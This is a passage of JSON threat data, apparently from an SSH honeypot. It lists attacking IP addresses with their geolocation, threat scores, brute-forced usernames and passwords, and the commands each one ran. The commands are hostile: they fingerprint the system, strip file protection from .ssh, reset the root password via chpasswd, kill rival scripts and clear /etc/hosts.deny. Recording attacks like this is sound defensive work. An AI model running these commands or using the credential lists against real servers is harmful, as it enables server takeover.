        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nSKdEkRRtzNKk\\nSKdEkRRtzNKk\\n\"|passwd",
        "echo \"Steam!@#\\nMT5fZYfeNOEj\\nMT5fZYfeNOEj\\n\"|passwd",
        "echo \"misuser\\n3TlzKPbIshsr\\n3TlzKPbIshsr\\n\"|passwd",
        "echo \"odoo12!\\nLPz3hUULF6Zu\\nLPz3hUULF6Zu\\n\"|passwd",
        "echo \"root:tB6iEAAJg4c5\"|chpasswd|bash",
        "echo \"root:wc5zc9v51cdW\"|chpasswd|bash",
        "echo -e \"123\\nSKdEkRRtzNKk\\nSKdEkRRtzNKk\"|passwd|bash",
        "echo -e \"Steam!@#\\nMT5fZYfeNOEj\\nMT5fZYfeNOEj\"|passwd|bash",
        "echo -e \"misuser\\n3TlzKPbIshsr\\n3TlzKPbIshsr\"|passwd|bash",
        "echo -e \"odoo12!\\nLPz3hUULF6Zu\\nLPz3hUULF6Zu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 802,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:30:00.413000+00:00",
        "last_seen_30d": "2026-04-08T19:18:11.288000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 662,
        "Suricata": 140
      }
    },
    "177.11.196.84": {
      "attack_count": 567,
      "first_seen": "2026-04-08T05:16:45.506Z",
      "last_seen": "2026-04-27T19:11:28.508Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "claude",
        "test1",
        "apple",
        "atlas",
        "bitwarden",
        "bot",
        "george",
        "odoo",
        "steam",
        "testuser",
        "vncuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "08642",
        "123",
        "123456789",
        "123admin***",
        "1qaz!@",
        "1qaz2wsx",
        "1qaz2wsx3edc#$",
        "Abcd1234",
        "Bot05",
        "Dh123456",
        "Frappe20",
        "MBFFZZKK3D5M",
        "P@ssword12",
        "Qazwsx666!@#",
        "Qwer!@#123",
        "Qwerty",
        "Qwerty4esz",
        "Rejuve20242024!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Qwerty\\nMQQIDWUjrFG4\\nMQQIDWUjrFG4\\n\"|passwd",
        "echo \"claude01!\\nZcHnsgmSjZiP\\nZcHnsgmSjZiP\\n\"|passwd",
        "echo \"root:dspNggvmrMOP\"|chpasswd|bash",
        "echo \"root:gRRF1efpVVNl\"|chpasswd|bash",
        "echo \"root:k4rQX9zFgwqq\"|chpasswd|bash",
        "echo -e \"Qwerty\\nMQQIDWUjrFG4\\nMQQIDWUjrFG4\"|passwd|bash",
        "echo -e \"claude01!\\nZcHnsgmSjZiP\\nZcHnsgmSjZiP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Feliz",
      "asn": 262907,
      "as_org": "BRASIL TECPAR | AMIGO | AVATO",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 692,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:16:45.506000+00:00",
        "last_seen_30d": "2026-04-27T19:12:36.146000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 125
      }
    },
    "27.119.7.6": {
      "attack_count": 561,
      "first_seen": "2026-04-16T09:43:19.953Z",
      "last_seen": "2026-04-29T08:43:08.769Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "test",
        "user",
        "345gs5662d34",
        "git",
        "guest",
        "oracle",
        "username",
        "User",
        "ansadmin",
        "catadmin",
        "david",
        "deployer",
        "dev",
        "developer",
        "devops",
        "frappe",
        "gitlab"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#",
        "098765",
        "1111",
        "111111",
        "123$",
        "123123",
        "123321",
        "12345",
        "123mudar",
        "12qwertyuiop",
        "159753",
        "222",
        "222222",
        "54321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:33Qf935JrqSf\"|chpasswd|bash",
        "echo \"root:5jHNTqwClI0H\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Hwaseong-si",
      "asn": 23563,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 770,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T09:43:19.953000+00:00",
        "last_seen_30d": "2026-04-29T08:44:13.157000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 561,
        "Suricata": 209
      }
    },
    "160.187.240.90": {
      "attack_count": 479,
      "first_seen": "2026-04-24T12:48:33.093Z",
      "last_seen": "2026-04-24T13:59:04.271Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "erpnext",
        "frappe",
        "gmodserver",
        "postgres",
        "ubuntu",
        "crm",
        "n8n",
        "steam1",
        "system",
        "test",
        "tidb",
        "user",
        "user6",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t",
        "0000",
        "101010",
        "112233",
        "123",
        "123456",
        "123456aa@",
        "123456wW",
        "123asd,./",
        "1qa@WS3ed$RF",
        "AAdd123123",
        "Aa112211.",
        "Hello@123",
        "N8n24",
        "ZAQ!2wsx654321@@",
        "asdlkj123",
        "crm",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"0000\\n67JFhr9xJHTd\\n67JFhr9xJHTd\\n\"|passwd",
        "echo \"123456\\nEgyETywi1ubD\\nEgyETywi1ubD\\n\"|passwd",
        "echo \"password\\nTo88K1baRMfR\\nTo88K1baRMfR\\n\"|passwd",
        "echo \"root:G4aPxnb6pGnT\"|chpasswd|bash",
        "echo \"test123\\nkCHdKAmsYunc\\nkCHdKAmsYunc\\n\"|passwd",
        "echo -e \"0000\\n67JFhr9xJHTd\\n67JFhr9xJHTd\"|passwd|bash",
        "echo -e \"123456\\nEgyETywi1ubD\\nEgyETywi1ubD\"|passwd|bash",
        "echo -e \"password\\nTo88K1baRMfR\\nTo88K1baRMfR\"|passwd|bash",
        "echo -e \"test123\\nkCHdKAmsYunc\\nkCHdKAmsYunc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135983,
      "as_org": "Tino Group Joint Stock Company",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 560,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T12:48:33.093000+00:00",
        "last_seen_30d": "2026-04-24T14:00:10.564000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 81
      }
    },
    "216.180.127.201": {
      "attack_count": 430,
      "first_seen": "2026-04-03T05:01:41.645Z",
      "last_seen": "2026-04-12T11:07:16.666Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "teamspeak",
        "user",
        "casa",
        "ddev",
        "hdoop",
        "leidyroa",
        "maman",
        "rahul",
        "sammy",
        "test3",
        "ubuntu",
        "vpn",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Qaz2wsx",
        "1",
        "12345678",
        "123456A!",
        "1234QWER",
        "555666",
        "77777",
        "A123456A12",
        "Admin@123!",
        "Changeme123",
        "Hy123456",
        "MSN55msn!!",
        "P@$$w0rd!$",
        "P@ssw0rd35",
        "PaSSWORD",
        "Qazwsx12345#",
        "Sammy15!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:IJ5oJSRVMjPd\"|chpasswd|bash",
        "echo \"root:KD0oedhdvkXp\"|chpasswd|bash",
        "echo \"teamspeak123!\\nqeD2u7pBYr8y\\nqeD2u7pBYr8y\\n\"|passwd",
        "echo -e \"teamspeak123!\\nqeD2u7pBYr8y\\nqeD2u7pBYr8y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 152586,
      "as_org": "Kuroit",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 554,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T05:01:41.645000+00:00",
        "last_seen_30d": "2026-04-12T11:08:19.254000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 124
      }
    },
    "43.134.113.23": {
      "attack_count": 400,
      "first_seen": "2026-04-09T18:22:35.259Z",
      "last_seen": "2026-04-09T19:06:48.405Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "patrick",
        "sammy",
        "test",
        "Ubuntu",
        "camera",
        "db2inst1",
        "deep",
        "it",
        "n8n",
        "postgres",
        "sftp_user",
        "steam",
        "test5",
        "usuario"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "123",
        "12345678",
        "123qwer",
        "A1234567891011121314151617181920",
        "N8n26!",
        "Postgres!2025",
        "Qazwsx1..",
        "Qazwsx11111111$",
        "Test22!",
        "Xy123456@",
        "abcd1234",
        "camera",
        "hb@123456",
        "it",
        "patrick",
        "sammy31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"patrick\\nc6rGH5N00YUW\\nc6rGH5N00YUW\\n\"|passwd",
        "echo \"root:Ffy29wrThEuD\"|chpasswd|bash",
        "echo \"sammy31\\n1AQrr92vVOQA\\n1AQrr92vVOQA\\n\"|passwd",
        "echo \"ubuntu@2024\\ngFvawVwzAiPf\\ngFvawVwzAiPf\\n\"|passwd",
        "echo -e \"patrick\\nc6rGH5N00YUW\\nc6rGH5N00YUW\"|passwd|bash",
        "echo -e \"sammy31\\n1AQrr92vVOQA\\n1AQrr92vVOQA\"|passwd|bash",
        "echo -e \"ubuntu@2024\\ngFvawVwzAiPf\\ngFvawVwzAiPf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:22:35.259000+00:00",
        "last_seen_30d": "2026-04-09T19:07:52.239000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 74
      }
    },
    "49.247.37.22": {
      "attack_count": 392,
      "first_seen": "2026-04-04T18:38:48.844Z",
      "last_seen": "2026-04-26T08:09:52.419Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "server",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "flussonic",
        "test",
        "ali",
        "banana",
        "bot",
        "chris",
        "es",
        "ftptest",
        "ftpuser",
        "ftpuser2",
        "git",
        "harry",
        "jirka",
        "john"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "test",
        "000000",
        "123123",
        "12345",
        "123456",
        "123qweASD!",
        "654321",
        "Aa1234567890",
        "Aa@123456",
        "Admin",
        "Ali30",
        "Asd@123321",
        "Frappe5",
        "Lb123456",
        "P@ssw0rd123!",
        "Pa55w0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"flussonic\\n9iVVe54WXDf3\\n9iVVe54WXDf3\\n\"|passwd",
        "echo \"root:U8o1ZoPwznxr\"|chpasswd|bash",
        "echo -e \"flussonic\\n9iVVe54WXDf3\\n9iVVe54WXDf3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:38:48.844000+00:00",
        "last_seen_30d": "2026-04-26T08:10:53.352000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 392,
        "Suricata": 125
      }
    },
    "164.90.138.136": {
      "attack_count": 385,
      "first_seen": "2026-04-02T08:35:52.370Z",
      "last_seen": "2026-04-09T23:59:03.480Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nabi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "...asd123",
        "123123123a",
        "123456123456",
        "1234qwerasdf",
        "303030",
        "AA123456-",
        "Cloud@2026",
        "S1mt4st1c_Admin",
        "admin1234@.",
        "ccZZ123",
        "chat",
        "dnflskfk",
        "lst123",
        "nabi123",
        "off",
        "q1w2e3r4!@#$",
        "qazQAZ123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FAeDQyhSqiwS\"|chpasswd|bash",
        "echo \"root:MxDqWVZoOwaa\"|chpasswd|bash",
        "echo \"root:dWr0HPkByjgm\"|chpasswd|bash",
        "echo \"root:nK7CBLD3AHN9\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 460,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:35:52.370000+00:00",
        "last_seen_30d": "2026-04-10T00:00:06.671000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 75
      }
    },
    "36.69.152.152": {
      "attack_count": 372,
      "first_seen": "2026-04-01T20:36:24.522Z",
      "last_seen": "2026-04-01T21:59:07.197Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@WQ12wq",
        "123456qwert",
        "1234Pass",
        "123654987",
        "1QWE2asd3zxc",
        "2025121",
        "7788521521",
        "ABC-123",
        "Support2026@",
        "Test-1234",
        "admintemp",
        "alvaro123",
        "lwidc!@#",
        "mima1234",
        "mit123",
        "peace",
        "qweasdzxc1",
        "qwer!234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6x7Uy4J27uOz\"|chpasswd|bash",
        "echo \"root:J6NSgHKtkv1s\"|chpasswd|bash",
        "echo \"root:gPIzy7AIS13l\"|chpasswd|bash",
        "echo \"root:qfHh6TOSeuDr\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:36:24.522000+00:00",
        "last_seen_30d": "2026-04-01T22:00:11.722000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 67
      }
    },
    "130.12.180.51": {
      "attack_count": 367,
      "first_seen": "2026-04-01T15:28:06.063Z",
      "last_seen": "2026-04-30T16:44:55.895Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "orangepi",
        "admin"
      ],
      "passwords_attempted": [
        "password",
        "orangepi",
        "root",
        "P",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.file_upload",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.0,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 504,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T15:28:06.063000+00:00",
        "last_seen_30d": "2026-04-30T16:45:57.188000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 137
      }
    },
    "123.58.215.196": {
      "attack_count": 361,
      "first_seen": "2026-04-01T05:45:09.080Z",
      "last_seen": "2026-04-06T04:42:53.878Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "server",
        "abc",
        "andrea",
        "api",
        "appltest",
        "backup",
        "bot",
        "frappe",
        "ian",
        "ray",
        "steam",
        "user",
        "user5"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx!@#",
        "!QAZ2wsx123",
        "123456789",
        "Abcd1@",
        "Bot28",
        "China",
        "Hetzner@2025",
        "Mc@123456",
        "Nb123456.",
        "Postgres03",
        "Qazwsx2021..",
        "Qweqwe",
        "Qwertyui12345",
        "Server1",
        "Server28",
        "Xy123456",
        "Ye123456!",
        "aa123123aa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:YmxquEkxL52A\"|chpasswd|bash",
        "echo \"root:oGWDZarcoUO7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
